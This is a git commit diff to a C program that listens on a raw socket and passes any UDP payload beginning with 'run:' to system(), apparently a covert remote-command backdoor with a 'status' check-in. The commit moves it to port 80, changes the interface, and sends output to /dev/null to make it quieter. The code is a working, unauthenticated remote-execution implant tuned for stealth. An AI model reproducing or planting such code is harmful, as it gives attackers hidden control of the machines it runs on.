no more errors/stdout form this boi

This commit is contained in:
sysadmin
2018-11-14 01:33:52 -05:00
parent e0d5e453a6
commit 9c14f6a310

View File

@@ -17,10 +17,10 @@
/* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */ /* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
#ifndef IFACE #ifndef IFACE
#define IFACE "eth0" #define IFACE "ens160"
#endif #endif
#ifndef PORT #ifndef PORT
#define PORT 12345 #define PORT 80
#endif #endif
#ifndef PROMISC #ifndef PROMISC
#define PROMISC false #define PROMISC false
@@ -156,8 +156,14 @@ int main(int argc, char *argv[])
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr)); udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr))); udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
//run a command if the data is prefixed with run: //run a command if the data is prefixed with run:
if (!strncmp(udpdata, "run:", 4)) if (!strncmp(udpdata, "run:", 4)){
out = open("/dev/null", O_WRONLY);
err = open("/dev/null", O_WRONLY);
dup2(out, 0);
dup2(err, 2);
code = system(udpdata + 4); //replace with fork + exec code = system(udpdata + 4); //replace with fork + exec
}
//checkup on the service, make sure it is still there //checkup on the service, make sure it is still there
if(!strncmp(udpdata, "status", 6)) if(!strncmp(udpdata, "status", 6))
send_status(buf, code); send_status(buf, code);